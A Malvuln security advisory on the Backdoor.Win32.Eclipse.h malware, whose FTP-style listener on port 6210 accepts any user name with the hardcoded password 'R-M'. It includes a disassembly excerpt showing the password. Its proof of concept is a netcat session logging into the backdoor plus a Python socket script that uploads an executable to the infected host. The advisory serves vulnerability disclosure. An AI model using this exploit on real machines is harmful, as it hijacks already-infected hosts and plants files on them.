Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/8b470931114527b4dce42034a95ebf46.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Eclipse.h Vulnerability: Weak Hardcoded Credentials Family: Eclipse Type: PE32 MD5: 8b470931114527b4dce42034a95ebf46 Vuln ID: MVID-2022-0625 Disclosure: 07/21/2022 Description: The malware listens on TCP port 6210 and authentication is required. However, the backdoor accepts any USER name for authentication and the password "R-M" is weak and hardcoded within the PE file. Unpacking the UPX packed executable, easily reveals the cleartext hardcoded password. 00437590 dd 3 ; Len 00437590 db 'R-M',0 ; Text 0043759C _str_6210 dd 0FFFFFFFFh ; _top Exploit/PoC: C:\>nc64.exe 192.168.18.125 6210 220 Servidor FTP Temporal Ver. 2.1 por Vlad USER malvuln 331 Password required for malvuln. PASS R-M 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite MKD HATE 257 'C:\HATE': directory created. CWD HATE 250 CWD command successful. "C:/HATE/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,213,228). STOR DOOM_SM.exe 150 Opening data connection for DOOM_SM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=54756 DOOM="DOOM_SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).